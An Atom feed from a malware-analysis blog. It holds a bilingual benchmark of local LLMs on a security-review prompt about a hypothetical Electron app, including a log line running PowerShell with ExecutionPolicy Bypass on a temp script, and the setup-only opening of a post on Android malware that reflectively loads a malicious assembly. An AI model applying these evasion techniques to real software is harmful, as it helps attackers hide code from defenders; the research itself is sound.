<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://orderofsixangles.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://orderofsixangles.com/" rel="alternate" type="text/html" /><updated>2026-08-14T03:33:46+00:00</updated><id>https://orderofsixangles.com/feed.xml</id><title type="html">Order Of Six Angles</title><subtitle>Reverse engineering and malware analysis notes</subtitle><entry><title type="html">Local security LLM testing on Mac mini M4</title><link href="https://orderofsixangles.com/en/2026/06/24/local-model-testing-en.html" rel="alternate" type="text/html" title="Local security LLM testing on Mac mini M4" /><published>2026-06-24T00:00:00+00:00</published><updated>2026-06-24T00:00:00+00:00</updated><id>https://orderofsixangles.com/en/2026/06/24/local-model-testing-en</id><content type="html" xml:base="https://orderofsixangles.com/en/2026/06/24/local-model-testing-en.html"><![CDATA[<section class="benchmark-hero">
  <div class="benchmark-panel">
    <p class="terminal-line">lmstudio --local --prompt acmedesk-security-review</p>
    <p>
      I tested local models on a practical task: analyzing a hypothetical Windows Electron application offline and producing a safe bug-hunting plan.
      I evaluated concrete Windows and Electron reasoning, safe local PoCs, and the ability to distinguish evidence from claims that cannot be verified without the binary, rather than sheer verbosity.
    </p>

    <div class="benchmark-metrics">
      <div class="metric"><span>Host</span><strong>Mac mini M4</strong></div>
      <div class="metric"><span>Memory</span><strong>24 GB</strong></div>
      <div class="metric"><span>Runner</span><strong>LM Studio 0.4.16</strong></div>
      <div class="metric"><span>Temperature</span><strong>0.47</strong></div>
    </div>
  </div>

  <aside class="benchmark-callout">
    <span>Best overall</span>
    <strong>Qwen3.6 27B</strong>
    <p>8/10. The strongest answer: it clearly marked assumptions, addressed updater and protocol risks in concrete terms, and produced a usable PowerShell collector.</p>
  </aside>
</section>

<p class="benchmark-note">
  In short, Qwen3.6 27B, Qwen3-Coder 30B, and Gemma 4 26B were clearly the best. They are usable, but largely pointless when frontier models are available.
</p>

<details class="prompt-details">
<summary>Original prompt</summary>

<pre class="prompt-block"><code>Ты senior reverse engineer и Windows desktop apps bug hunter. Работай без интернета и не выдумывай факты.

Разбери гипотетическое приложение Windows:

- Electron desktop app
- есть автологин через saved token
- локальная база SQLite в `%APPDATA%\AcmeDesk\data.db`
- приложение открывает ссылки вида `acmedesk://open?path=...`
- есть автообновление через `https://updates.acme.local/latest.yml`
- в логах встречается строка:
  `spawn powershell.exe -ExecutionPolicy Bypass -File C:\Users\User\AppData\Local\Temp\update.ps1`
- пользователь может импортировать `.zip` backup-файл, внутри которого `settings.json`, `profile.db`, `attachments/`

Задача:

1. Назови 10 потенциальных классов уязвимостей в таком приложении.
2. Для каждой уязвимости объясни:
   - где искать
   - почему это риск
   - как безопасно проверить локально
   - какой минимальный PoC можно сделать без вреда системе
   - как исправить
3. Отдельно составь checklist для тестирования custom protocol handler `acmedesk://`.
4. Напиши пример PowerShell-скрипта, который безопасно собирает артефакты для анализа: список файлов, права доступа, хэши, версии бинарей, без отправки данных в сеть.
5. В конце выдели:
   - наиболее вероятные баги
   - самые критичные баги
   - что нельзя утверждать без доступа к бинарю

Отвечай структурированно. Если чего-то не хватает, явно помечай как предположение.</code></pre>
</details>

<h2 id="results">Results</h2>

<div class="model-grid">
  <article class="model-card model-card--winner">
    <a class="model-card__preview" href="/assets/images/local-model-testing/image-10.png" target="_blank" rel="noopener noreferrer">
      <img class="model-card__image" src="/assets/images/local-model-testing/image-10.png" alt="Qwen3.6 27B system load" />
    </a>
    <div class="model-card__body">
      <h3>qwen/qwen3.6-27b</h3>
      <div class="model-card__meta"><span>score <strong>8/10</strong></span><span>speed <strong>6 tok/sec</strong></span></div>
      <p>The strongest security reasoning, covering Electron IPC, DPAPI, Zip Slip, TOCTOU, updater signatures, `%TEMP%`, ProcMon, and a solid artifact collector.</p>
      <a class="model-card__link" href="/local-model-testing/responses/qwen3-6-27b/" target="_blank" rel="noopener noreferrer">Open full answer</a>
    </div>
  </article>

  <article class="model-card">
    <a class="model-card__preview" href="/assets/images/local-model-testing/image-9.png" target="_blank" rel="noopener noreferrer">
      <img class="model-card__image" src="/assets/images/local-model-testing/image-9.png" alt="Qwen3-Coder 30B system load" />
    </a>
    <div class="model-card__body">
      <h3>qwen3-coder-30b-a3b-instruct-mlx</h3>
      <div class="model-card__meta"><span>score <strong>7.5/10</strong></span><span>speed <strong>41 tok/sec</strong></span></div>
      <p>Fast and useful, with a strong focus on protocol handling, Zip Slip, the updater flow, temporary files, and safe PowerShell collection.</p>
      <a class="model-card__link" href="/local-model-testing/responses/qwen3-coder-30b-a3b/" target="_blank" rel="noopener noreferrer">Open full answer</a>
    </div>
  </article>

  <article class="model-card">
    <a class="model-card__preview" href="/assets/images/local-model-testing/image-1.png" target="_blank" rel="noopener noreferrer">
      <img class="model-card__image" src="/assets/images/local-model-testing/image-1.png" alt="Gemma 4 26B system load" />
    </a>
    <div class="model-card__body">
      <h3>google/gemma-4-26b-a4b</h3>
      <div class="model-card__meta"><span>score <strong>7/10</strong></span><span>speed <strong>31 tok/sec</strong></span></div>
      <p>Concise and practical. It identified the `update.ps1` TOCTOU angle, DPAPI, signed updates, and the limits imposed by not having the binary.</p>
      <a class="model-card__link" href="/local-model-testing/responses/gemma-4-26b-a4b/" target="_blank" rel="noopener noreferrer">Open full answer</a>
    </div>
  </article>

  <article class="model-card">
    <a class="model-card__preview" href="/assets/images/local-model-testing/image.png" target="_blank" rel="noopener noreferrer">
      <img class="model-card__image" src="/assets/images/local-model-testing/image.png" alt="Qwen3.5 9B system load" />
    </a>
    <div class="model-card__body">
      <h3>qwen3.5-9b Claude 4.6 HighIQ</h3>
      <div class="model-card__meta"><span>score <strong>6.5/10</strong></span><span>speed <strong>11.48 tok/sec</strong></span></div>
      <p>Good brainstorming, but several confident technical mistakes kept it below the top tier.</p>
      <a class="model-card__link" href="/local-model-testing/responses/qwen3-5-9b/" target="_blank" rel="noopener noreferrer">Open full answer</a>
    </div>
  </article>

  <article class="model-card">
    <div class="model-card__image model-card__image--empty">no screenshot</div>
    <div class="model-card__body">
      <h3>foundation-sec-8b-reasoning-mlx</h3>
      <div class="model-card__meta"><span>score <strong>5/10</strong></span><span>speed <strong>6 tok/sec</strong></span></div>
      <p>Respectable for an 8B model, but not deep enough compared with Qwen3.6, Qwen3-Coder, or Gemma.</p>
      <a class="model-card__link" href="/local-model-testing/responses/foundation-sec-8b-reasoning/" target="_blank" rel="noopener noreferrer">Open full answer</a>
    </div>
  </article>

  <article class="model-card">
    <a class="model-card__preview" href="/assets/images/local-model-testing/image-6.png" target="_blank" rel="noopener noreferrer">
      <img class="model-card__image" src="/assets/images/local-model-testing/image-6.png" alt="Devstral system load" />
    </a>
    <div class="model-card__body">
      <h3>mistralai/devstral-small-2-2512</h3>
      <div class="model-card__meta"><span>score <strong>5.5/10</strong></span><span>speed <strong>7.28 tok/sec</strong></span></div>
      <p>Some useful Windows checklist items, but too many unsupported RCE claims with no plausible mechanism.</p>
      <a class="model-card__link" href="/local-model-testing/responses/devstral-small-2-2512/" target="_blank" rel="noopener noreferrer">Open full answer</a>
    </div>
  </article>

  <article class="model-card">
    <a class="model-card__preview" href="/assets/images/local-model-testing/image-5.png" target="_blank" rel="noopener noreferrer">
      <img class="model-card__image" src="/assets/images/local-model-testing/image-5.png" alt="GLM Flash system load" />
    </a>
    <div class="model-card__body">
      <h3>zai-org/glm-4.6v-flash</h3>
      <div class="model-card__meta"><span>score <strong>5/10</strong></span><span>speed <strong>11.3 tok/sec</strong></span></div>
      <p>Broader coverage than the weakest models, but poorer judgment and several unsafe PoC suggestions.</p>
      <a class="model-card__link" href="/local-model-testing/responses/glm-4-6v-flash/" target="_blank" rel="noopener noreferrer">Open full answer</a>
    </div>
  </article>

  <article class="model-card">
    <a class="model-card__preview" href="/assets/images/local-model-testing/image-11.png" target="_blank" rel="noopener noreferrer">
      <img class="model-card__image" src="/assets/images/local-model-testing/image-11.png" alt="Magistral system load" />
    </a>
    <div class="model-card__body">
      <h3>mistralai/magistral-small-2509</h3>
      <div class="model-card__meta"><span>score <strong>4.5/10</strong></span><span>speed <strong>7.35 tok/sec</strong></span></div>
      <p>Cleaner than the weakest answers, but still too shallow for a real security review.</p>
      <a class="model-card__link" href="/local-model-testing/responses/magistral-small-2509/" target="_blank" rel="noopener noreferrer">Open full answer</a>
    </div>
  </article>

  <article class="model-card">
    <a class="model-card__preview" href="/assets/images/local-model-testing/image-2.png" target="_blank" rel="noopener noreferrer">
      <img class="model-card__image" src="/assets/images/local-model-testing/image-2.png" alt="WhiteRabbit system load" />
    </a>
    <div class="model-card__body">
      <h3>whiterabbitneo-v3-7b-mlx</h3>
      <div class="model-card__meta"><span>score <strong>4/10</strong></span><span>speed <strong>12.7 tok/sec</strong></span></div>
      <p>Readable, but largely a collection of keywords. It missed strong signals in the prompt, including updater scripts, signing, DPAPI, and Electron-specific RCE preconditions.</p>
      <a class="model-card__link" href="/local-model-testing/responses/whiterabbitneo-v3-7b/" target="_blank" rel="noopener noreferrer">Open full answer</a>
    </div>
  </article>

  <article class="model-card">
    <a class="model-card__preview" href="/assets/images/local-model-testing/image-7.png" target="_blank" rel="noopener noreferrer">
      <img class="model-card__image" src="/assets/images/local-model-testing/image-7.png" alt="DeepSeek system load" />
    </a>
    <div class="model-card__body">
      <h3>deepseek-r1-0528-qwen3-8b-mlx</h3>
      <div class="model-card__meta"><span>score <strong>4/10</strong></span><span>speed <strong>20.16 tok/sec</strong></span></div>
      <p>Identified broad attack surfaces, but ignored the requested format and failed to provide safe minimal PoCs or a useful protocol checklist.</p>
      <a class="model-card__link" href="/local-model-testing/responses/deepseek-r1-qwen3-8b/" target="_blank" rel="noopener noreferrer">Open full answer</a>
    </div>
  </article>

  <article class="model-card">
    <a class="model-card__preview" href="/assets/images/local-model-testing/image-12.png" target="_blank" rel="noopener noreferrer">
      <img class="model-card__image" src="/assets/images/local-model-testing/image-12.png" alt="RavenX system load" />
    </a>
    <div class="model-card__body">
      <h3>ravenx-sec-8b-security-rath-128k-mlx</h3>
      <div class="model-card__meta"><span>score <strong>3.5/10</strong></span><span>speed <strong>6 tok/sec</strong></span></div>
      <p>Disappointing for a security fine-tune: repetitive, overconfident, and weak on Electron and Windows internals.</p>
      <a class="model-card__link" href="/local-model-testing/responses/ravenx-sec-8b/" target="_blank" rel="noopener noreferrer">Open full answer</a>
    </div>
  </article>

  <article class="model-card">
    <a class="model-card__preview" href="/assets/images/local-model-testing/image-3.png" target="_blank" rel="noopener noreferrer">
      <img class="model-card__image" src="/assets/images/local-model-testing/image-3.png" alt="GPT-OSS system load" />
    </a>
    <div class="model-card__body">
      <h3>openai-gpt-oss-20b-instruct</h3>
      <div class="model-card__meta"><span>score <strong>3/10</strong></span><span>speed <strong>31 tok/sec</strong></span></div>
      <p>Superficially structured, but full of generic labels and questionable fixes. I would not trust it as a research plan.</p>
      <a class="model-card__link" href="/local-model-testing/responses/gpt-oss-20b/" target="_blank" rel="noopener noreferrer">Open full answer</a>
    </div>
  </article>

  <article class="model-card">
    <a class="model-card__preview" href="/assets/images/local-model-testing/image-8.png" target="_blank" rel="noopener noreferrer">
      <img class="model-card__image" src="/assets/images/local-model-testing/image-8.png" alt="Codestral system load" />
    </a>
    <div class="model-card__body">
      <h3>codestral-22b-v0.1</h3>
      <div class="model-card__meta"><span>score <strong>2.5/10</strong></span><span>speed <strong>7.58 tok/sec</strong></span></div>
      <p>The answer was mostly a generic enterprise checklist rather than a security assessment.</p>
      <a class="model-card__link" href="/local-model-testing/responses/codestral-22b-v0-1/" target="_blank" rel="noopener noreferrer">Open full answer</a>
    </div>
  </article>

  <article class="model-card">
    <a class="model-card__preview" href="/assets/images/local-model-testing/image-13.png" target="_blank" rel="noopener noreferrer">
      <img class="model-card__image" src="/assets/images/local-model-testing/image-13.png" alt="VulnLLM system load" />
    </a>
    <div class="model-card__body">
      <h3>vulnllm-r-7b</h3>
      <div class="model-card__meta"><span>score <strong>2/10</strong></span><span>speed <strong>12 tok/sec</strong></span></div>
      <p>The weakest result: mostly CWE-like words with little understanding of the scenario.</p>
      <a class="model-card__link" href="/local-model-testing/responses/vulnllm-r-7b/" target="_blank" rel="noopener noreferrer">Open full answer</a>
    </div>
  </article>
</div>

<h2 id="takeaway">Takeaway</h2>

<p>For local security work, the strongest models stayed close to the artifacts: <code class="language-plaintext highlighter-rouge">acmedesk://</code>, SQLite, saved token storage, <code class="language-plaintext highlighter-rouge">latest.yml</code>, <code class="language-plaintext highlighter-rouge">update.ps1</code>, and backup ZIP imports. The weaker models sounded fluent in security terminology but skipped the engineering steps needed to turn a signal into a verifiable finding.</p>]]></content><author><name></name></author><category term="[&quot;en&quot;]" /><category term="ai" /><category term="llm" /><category term="security" /><category term="local models" /><summary type="html"><![CDATA[A compact benchmark of local models on a Windows/Electron security-review prompt.]]></summary></entry><entry><title type="html">Тестирование локальных security LLM на Mac mini M4</title><link href="https://orderofsixangles.com/ru/2026/06/24/local-model-testing-ru.html" rel="alternate" type="text/html" title="Тестирование локальных security LLM на Mac mini M4" /><published>2026-06-24T00:00:00+00:00</published><updated>2026-06-24T00:00:00+00:00</updated><id>https://orderofsixangles.com/ru/2026/06/24/local-model-testing-ru</id><content type="html" xml:base="https://orderofsixangles.com/ru/2026/06/24/local-model-testing-ru.html"><![CDATA[<section class="benchmark-hero">
  <div class="benchmark-panel">
    <p class="terminal-line">lmstudio --local --prompt acmedesk-security-review</p>
    <p>
      Я прогнал маленькие локальные модели на небольшой задачке - разобрать гипотетическое Windows Electron приложение и найти в нем уязвимости.
    </p>

    <div class="benchmark-metrics">
      <div class="metric"><span>Host</span><strong>Mac mini M4</strong></div>
      <div class="metric"><span>Memory</span><strong>24 GB</strong></div>
      <div class="metric"><span>Runner</span><strong>LM Studio 0.4.16</strong></div>
      <div class="metric"><span>Temperature</span><strong>0.47</strong></div>
    </div>
  </div>

  <aside class="benchmark-callout">
    <span>Лучший результат</span>
    <strong>Qwen3.6 27B</strong>
    <p>8/10. Самый сильный ответ: модель помечала предположения, нормально раскрыла updater/protocol риски и дала пригодный PowerShell collector.</p>
  </aside>
</section>

<p class="benchmark-note">
  Коротко: Qwen3.6 27B, Qwen3-Coder 30B и Gemma 4 26B - очевидно оказались лучшими, можно даже использовать, но имея доступ к фронтир моделям это бесполезно
</p>

<details class="prompt-details">
<summary>Оригинальный prompt</summary>

<pre class="prompt-block"><code>Ты senior reverse engineer и Windows desktop apps bug hunter. Работай без интернета и не выдумывай факты.

Разбери гипотетическое приложение Windows:

- Electron desktop app
- есть автологин через saved token
- локальная база SQLite в `%APPDATA%\AcmeDesk\data.db`
- приложение открывает ссылки вида `acmedesk://open?path=...`
- есть автообновление через `https://updates.acme.local/latest.yml`
- в логах встречается строка:
  `spawn powershell.exe -ExecutionPolicy Bypass -File C:\Users\User\AppData\Local\Temp\update.ps1`
- пользователь может импортировать `.zip` backup-файл, внутри которого `settings.json`, `profile.db`, `attachments/`

Задача:

1. Назови 10 потенциальных классов уязвимостей в таком приложении.
2. Для каждой уязвимости объясни:
   - где искать
   - почему это риск
   - как безопасно проверить локально
   - какой минимальный PoC можно сделать без вреда системе
   - как исправить
3. Отдельно составь checklist для тестирования custom protocol handler `acmedesk://`.
4. Напиши пример PowerShell-скрипта, который безопасно собирает артефакты для анализа: список файлов, права доступа, хэши, версии бинарей, без отправки данных в сеть.
5. В конце выдели:
   - наиболее вероятные баги
   - самые критичные баги
   - что нельзя утверждать без доступа к бинарю

Отвечай структурированно. Если чего-то не хватает, явно помечай как предположение.</code></pre>
</details>

<h2 id="результаты">Результаты</h2>

<div class="model-grid">
  <article class="model-card model-card--winner">
    <a class="model-card__preview" href="/assets/images/local-model-testing/image-10.png" target="_blank" rel="noopener noreferrer">
      <img class="model-card__image" src="/assets/images/local-model-testing/image-10.png" alt="Нагрузка Qwen3.6 27B" />
    </a>
    <div class="model-card__body">
      <h3>qwen/qwen3.6-27b</h3>
      <div class="model-card__meta"><span>оценка <strong>8/10</strong></span><span>скорость <strong>6 tok/sec</strong></span></div>
      <p>Лучший security reasoning: Electron IPC, DPAPI, ZipSlip, TOCTOU, подписи обновлений, `%TEMP%`, ProcMon и нормальный collector.</p>
      <a class="model-card__link" href="/local-model-testing/responses/qwen3-6-27b/" target="_blank" rel="noopener noreferrer">Открыть полный ответ</a>
    </div>
  </article>

  <article class="model-card">
    <a class="model-card__preview" href="/assets/images/local-model-testing/image-9.png" target="_blank" rel="noopener noreferrer">
      <img class="model-card__image" src="/assets/images/local-model-testing/image-9.png" alt="Нагрузка Qwen3-Coder 30B" />
    </a>
    <div class="model-card__body">
      <h3>qwen3-coder-30b-a3b-instruct-mlx</h3>
      <div class="model-card__meta"><span>оценка <strong>7.5/10</strong></span><span>скорость <strong>41 tok/sec</strong></span></div>
      <p>Быстро и полезно. Хороший фокус на protocol handler, ZipSlip, updater flow, temp files и безопасном сборе артефактов.</p>
      <a class="model-card__link" href="/local-model-testing/responses/qwen3-coder-30b-a3b/" target="_blank" rel="noopener noreferrer">Открыть полный ответ</a>
    </div>
  </article>

  <article class="model-card">
    <a class="model-card__preview" href="/assets/images/local-model-testing/image-1.png" target="_blank" rel="noopener noreferrer">
      <img class="model-card__image" src="/assets/images/local-model-testing/image-1.png" alt="Нагрузка Gemma 4 26B" />
    </a>
    <div class="model-card__body">
      <h3>google/gemma-4-26b-a4b</h3>
      <div class="model-card__meta"><span>оценка <strong>7/10</strong></span><span>скорость <strong>31 tok/sec</strong></span></div>
      <p>Компактный и практичный ответ. Поймала TOCTOU вокруг `update.ps1`, DPAPI, подписи обновлений и ограничения без бинаря.</p>
      <a class="model-card__link" href="/local-model-testing/responses/gemma-4-26b-a4b/" target="_blank" rel="noopener noreferrer">Открыть полный ответ</a>
    </div>
  </article>

  <article class="model-card">
    <a class="model-card__preview" href="/assets/images/local-model-testing/image.png" target="_blank" rel="noopener noreferrer">
      <img class="model-card__image" src="/assets/images/local-model-testing/image.png" alt="Нагрузка Qwen3.5 9B" />
    </a>
    <div class="model-card__body">
      <h3>qwen3.5-9b Claude 4.6 HighIQ</h3>
      <div class="model-card__meta"><span>оценка <strong>6.5/10</strong></span><span>скорость <strong>11.48 tok/sec</strong></span></div>
      <p>Нормальный brainstorming, но уверенные технические ошибки не дают назвать ответ senior-level.</p>
      <a class="model-card__link" href="/local-model-testing/responses/qwen3-5-9b/" target="_blank" rel="noopener noreferrer">Открыть полный ответ</a>
    </div>
  </article>

  <article class="model-card">
    <div class="model-card__image model-card__image--empty">no screenshot</div>
    <div class="model-card__body">
      <h3>foundation-sec-8b-reasoning-mlx</h3>
      <div class="model-card__meta"><span>оценка <strong>5/10</strong></span><span>скорость <strong>6 tok/sec</strong></span></div>
      <p>Для 8B модели неплохо, но по глубине сильно уступает Qwen3.6, Qwen3-Coder и Gemma.</p>
      <a class="model-card__link" href="/local-model-testing/responses/foundation-sec-8b-reasoning/" target="_blank" rel="noopener noreferrer">Открыть полный ответ</a>
    </div>
  </article>

  <article class="model-card">
    <a class="model-card__preview" href="/assets/images/local-model-testing/image-6.png" target="_blank" rel="noopener noreferrer">
      <img class="model-card__image" src="/assets/images/local-model-testing/image-6.png" alt="Нагрузка Devstral" />
    </a>
    <div class="model-card__body">
      <h3>mistralai/devstral-small-2-2512</h3>
      <div class="model-card__meta"><span>оценка <strong>5.5/10</strong></span><span>скорость <strong>7.28 tok/sec</strong></span></div>
      <p>Есть полезные Windows-чеклист фрагменты, но слишком часто пишет RCE без механизма.</p>
      <a class="model-card__link" href="/local-model-testing/responses/devstral-small-2-2512/" target="_blank" rel="noopener noreferrer">Открыть полный ответ</a>
    </div>
  </article>

  <article class="model-card">
    <a class="model-card__preview" href="/assets/images/local-model-testing/image-5.png" target="_blank" rel="noopener noreferrer">
      <img class="model-card__image" src="/assets/images/local-model-testing/image-5.png" alt="Нагрузка GLM Flash" />
    </a>
    <div class="model-card__body">
      <h3>zai-org/glm-4.6v-flash</h3>
      <div class="model-card__meta"><span>оценка <strong>5/10</strong></span><span>скорость <strong>11.3 tok/sec</strong></span></div>
      <p>Coverage лучше, чем у самых слабых моделей, но judgement хуже и встречаются небезопасные PoC.</p>
      <a class="model-card__link" href="/local-model-testing/responses/glm-4-6v-flash/" target="_blank" rel="noopener noreferrer">Открыть полный ответ</a>
    </div>
  </article>

  <article class="model-card">
    <a class="model-card__preview" href="/assets/images/local-model-testing/image-11.png" target="_blank" rel="noopener noreferrer">
      <img class="model-card__image" src="/assets/images/local-model-testing/image-11.png" alt="Нагрузка Magistral" />
    </a>
    <div class="model-card__body">
      <h3>mistralai/magistral-small-2509</h3>
      <div class="model-card__meta"><span>оценка <strong>4.5/10</strong></span><span>скорость <strong>7.35 tok/sec</strong></span></div>
      <p>Аккуратнее слабых ответов, но все еще поверхностно для реального security review.</p>
      <a class="model-card__link" href="/local-model-testing/responses/magistral-small-2509/" target="_blank" rel="noopener noreferrer">Открыть полный ответ</a>
    </div>
  </article>

  <article class="model-card">
    <a class="model-card__preview" href="/assets/images/local-model-testing/image-2.png" target="_blank" rel="noopener noreferrer">
      <img class="model-card__image" src="/assets/images/local-model-testing/image-2.png" alt="Нагрузка WhiteRabbit" />
    </a>
    <div class="model-card__body">
      <h3>whiterabbitneo-v3-7b-mlx</h3>
      <div class="model-card__meta"><span>оценка <strong>4/10</strong></span><span>скорость <strong>12.7 tok/sec</strong></span></div>
      <p>Годится как генератор ключевых слов, но пропустила сильные сигналы: updater scripts, подписи, DPAPI, Electron RCE conditions.</p>
      <a class="model-card__link" href="/local-model-testing/responses/whiterabbitneo-v3-7b/" target="_blank" rel="noopener noreferrer">Открыть полный ответ</a>
    </div>
  </article>

  <article class="model-card">
    <a class="model-card__preview" href="/assets/images/local-model-testing/image-7.png" target="_blank" rel="noopener noreferrer">
      <img class="model-card__image" src="/assets/images/local-model-testing/image-7.png" alt="Нагрузка DeepSeek" />
    </a>
    <div class="model-card__body">
      <h3>deepseek-r1-0528-qwen3-8b-mlx</h3>
      <div class="model-card__meta"><span>оценка <strong>4/10</strong></span><span>скорость <strong>20.16 tok/sec</strong></span></div>
      <p>Поймала общие поверхности, но не выполнила формат: мало safe PoC, слабый checklist и collector.</p>
      <a class="model-card__link" href="/local-model-testing/responses/deepseek-r1-qwen3-8b/" target="_blank" rel="noopener noreferrer">Открыть полный ответ</a>
    </div>
  </article>

  <article class="model-card">
    <a class="model-card__preview" href="/assets/images/local-model-testing/image-12.png" target="_blank" rel="noopener noreferrer">
      <img class="model-card__image" src="/assets/images/local-model-testing/image-12.png" alt="Нагрузка RavenX" />
    </a>
    <div class="model-card__body">
      <h3>ravenx-sec-8b-security-rath-128k-mlx</h3>
      <div class="model-card__meta"><span>оценка <strong>3.5/10</strong></span><span>скорость <strong>6 tok/sec</strong></span></div>
      <p>Слабовато для security fine-tune: повторы, overclaim и мало конкретной Electron/Windows механики.</p>
      <a class="model-card__link" href="/local-model-testing/responses/ravenx-sec-8b/" target="_blank" rel="noopener noreferrer">Открыть полный ответ</a>
    </div>
  </article>

  <article class="model-card">
    <a class="model-card__preview" href="/assets/images/local-model-testing/image-3.png" target="_blank" rel="noopener noreferrer">
      <img class="model-card__image" src="/assets/images/local-model-testing/image-3.png" alt="Нагрузка GPT-OSS" />
    </a>
    <div class="model-card__body">
      <h3>openai-gpt-oss-20b-instruct</h3>
      <div class="model-card__meta"><span>оценка <strong>3/10</strong></span><span>скорость <strong>31 tok/sec</strong></span></div>
      <p>Выглядит структурно, но внутри много generic labels и странных фиксов. Как плану ресёрча я бы не доверял.</p>
      <a class="model-card__link" href="/local-model-testing/responses/gpt-oss-20b/" target="_blank" rel="noopener noreferrer">Открыть полный ответ</a>
    </div>
  </article>

  <article class="model-card">
    <a class="model-card__preview" href="/assets/images/local-model-testing/image-8.png" target="_blank" rel="noopener noreferrer">
      <img class="model-card__image" src="/assets/images/local-model-testing/image-8.png" alt="Нагрузка Codestral" />
    </a>
    <div class="model-card__body">
      <h3>codestral-22b-v0.1</h3>
      <div class="model-card__meta"><span>оценка <strong>2.5/10</strong></span><span>скорость <strong>7.58 tok/sec</strong></span></div>
      <p>Почти generic корпоративный чеклист, а не security assessment.</p>
      <a class="model-card__link" href="/local-model-testing/responses/codestral-22b-v0-1/" target="_blank" rel="noopener noreferrer">Открыть полный ответ</a>
    </div>
  </article>

  <article class="model-card">
    <a class="model-card__preview" href="/assets/images/local-model-testing/image-13.png" target="_blank" rel="noopener noreferrer">
      <img class="model-card__image" src="/assets/images/local-model-testing/image-13.png" alt="Нагрузка VulnLLM" />
    </a>
    <div class="model-card__body">
      <h3>vulnllm-r-7b</h3>
      <div class="model-card__meta"><span>оценка <strong>2/10</strong></span><span>скорость <strong>12 tok/sec</strong></span></div>
      <p>Самый слабый результат: в основном CWE-слова без понимания исходного сценария.</p>
      <a class="model-card__link" href="/local-model-testing/responses/vulnllm-r-7b/" target="_blank" rel="noopener noreferrer">Открыть полный ответ</a>
    </div>
  </article>
</div>]]></content><author><name></name></author><category term="[&quot;ru&quot;]" /><category term="ai" /><category term="llm" /><category term="security" /><category term="local models" /><summary type="html"><![CDATA[Короткий тест локальных моделей на задаче по Windows/Electron security review.]]></summary></entry><entry><title type="html">Малварь на Xamarin</title><link href="https://orderofsixangles.com/ru/2024/11/26/xamarin-malware.html" rel="alternate" type="text/html" title="Малварь на Xamarin" /><published>2024-11-26T00:00:00+00:00</published><updated>2024-11-26T00:00:00+00:00</updated><id>https://orderofsixangles.com/ru/2024/11/26/xamarin-malware</id><content type="html" xml:base="https://orderofsixangles.com/ru/2024/11/26/xamarin-malware.html"><![CDATA[<h2 id="введение">Введение</h2>

<p>Как-то раз я наткнулся на статью об андроид малваре от McAfee - <a href="https://www.mcafee.com/blogs/other-blogs/mcafee-labs/stealth-backdoor-android-xamalicious-actively-infecting-devices/">Stealth Backdoor “Android/Xamalicious” Actively Infecting Devices</a>. В ней меня заинтриговала строчка о динамически загружаемом Assembly:</p>

<p><img src="/assets/images/ru/xamarin/0.png" alt="Alt text" /></p>

<p>Дело в том, что эта техника активно используется в .NET малваре, но под Windows. Использование же такого подхода под андроид меня удивило. Я стал копать в этом направлении. Для начала освежим в памяти суть техники. Чтобы оставаться незаметной, малваре требуется находиться в памяти, не трогая диск. В .NET есть понятие Assembly (сборка). Грубо говоря - это exe/dll, который исполняется в CLR (Common Language Runtime). Мы можем динамически загрузить сборку, которая содержит вредоносный функционал.</p>

<p>Малварь в статье была написана с использованием фреймворка <code class="language-plaintext highlighter-rouge">Xamarin</code>.</p>

<p><img src="/assets/images/ru/xamarin/00.png" alt="Alt text" /></p>

<p>Это сделано для того, чтобы затруднить анализ/реверс APK, так как она будет содержать кучу вспомогательных библиотек. Изучив вопросик узнал, что Xamarin <a href="https://stackoverflow.com/questions/76652602/xamarin-is-end-of-life-what-is-its-replacement-for-developing-an-android-app-in">устарел</a> и заменен на <a href="https://dotnet.microsoft.com/en-us/apps/maui">.NET MAUI</a></p>

<p><img src="/assets/images/ru/xamarin/1.png" alt="Alt text" /></p>

<p>Сухое определение:</p>

<p>`
.NET MAUI - это многоплатформенный фреймворк для создания нативных настольных и мобильных приложений с помощью C# и XAML (Extensible Application Markup Language). Используя .NET MAUI (Multi-platform Application User Interface), вы можете разрабатывать мобильные приложения, которые могут работать на Windows, Android, iOS, iPadOS и macOS.
`</p>

<h2 id="setup">Setup</h2>

<p>Приступим к подготовке проекта, представляющего собой Android приложение на .NET MAUI, которое динамически загружает (Reflective Loading) вредоносную .NET Assembly и запускает ее. Для разработки я использовал <code class="language-plaintext highlighter-rouge">Ubuntu 24 LTS</code> и <a href="https://learn.microsoft.com/en-us/training/modules/build-mobile-and-desktop-apps/1-introduction">Visual Studio Code</a>. Для начала установим .NET SDK в <a href="https://learn.microsoft.com/en-us/dotnet/core/install/linux-ubuntu#register-the-ubuntu-net-backports-package-repository">Ubuntu</a>. В Ubuntu нам нужно это сделать именно с помощью Microsoft package repository!</p>

<p><img src="/assets/images/ru/xamarin/2.png" alt="Alt text" /></p>

<p>После установки <code class="language-plaintext highlighter-rouge">SDK</code> ставим <a href="https://github.com/dotnet/maui/discussions/7711">workload MAUI</a>:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>dotnet workload <span class="nb">install </span>maui-android
</code></pre></div></div>

<p>Если все прошло удачно, вы должны увидеть андроид в списке:</p>

<p><img src="/assets/images/ru/xamarin/3.png" alt="Alt text" /></p>

<p>Выполняем инструкцию по созданию проекта:</p>

<p><img src="/assets/images/ru/xamarin/4.png" alt="Alt text" /></p>

<p>Устанавливаем <code class="language-plaintext highlighter-rouge">Android SDK</code></p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt <span class="nb">install</span> <span class="nt">-y</span> unzip
<span class="nb">mkdir</span> <span class="nt">-p</span> ~/.android-sdk/cmdline-tools
<span class="nb">cd</span> ~/.android-sdk/cmdline-tools
wget https://dl.google.com/android/repository/commandlinetools-linux-9477386_latest.zip <span class="nt">-O</span> tools.zip
unzip tools.zip
<span class="nb">mv </span>cmdline-tools latest
<span class="nb">cd </span>latest
./sdkmanager <span class="nt">--install</span> <span class="s2">"platform-tools"</span> <span class="s2">"platforms;android-33"</span> <span class="s2">"build-tools;33.0.2"</span>
</code></pre></div></div>

<p>И прописываем его в <code class="language-plaintext highlighter-rouge">Settings</code> расширения <code class="language-plaintext highlighter-rouge">MAUI</code>.</p>

<p><img src="/assets/images/ru/xamarin/5.png" alt="Alt text" /></p>

<p>Устанавливаем <code class="language-plaintext highlighter-rouge">Microsoft OpenJDK</code>:</p>

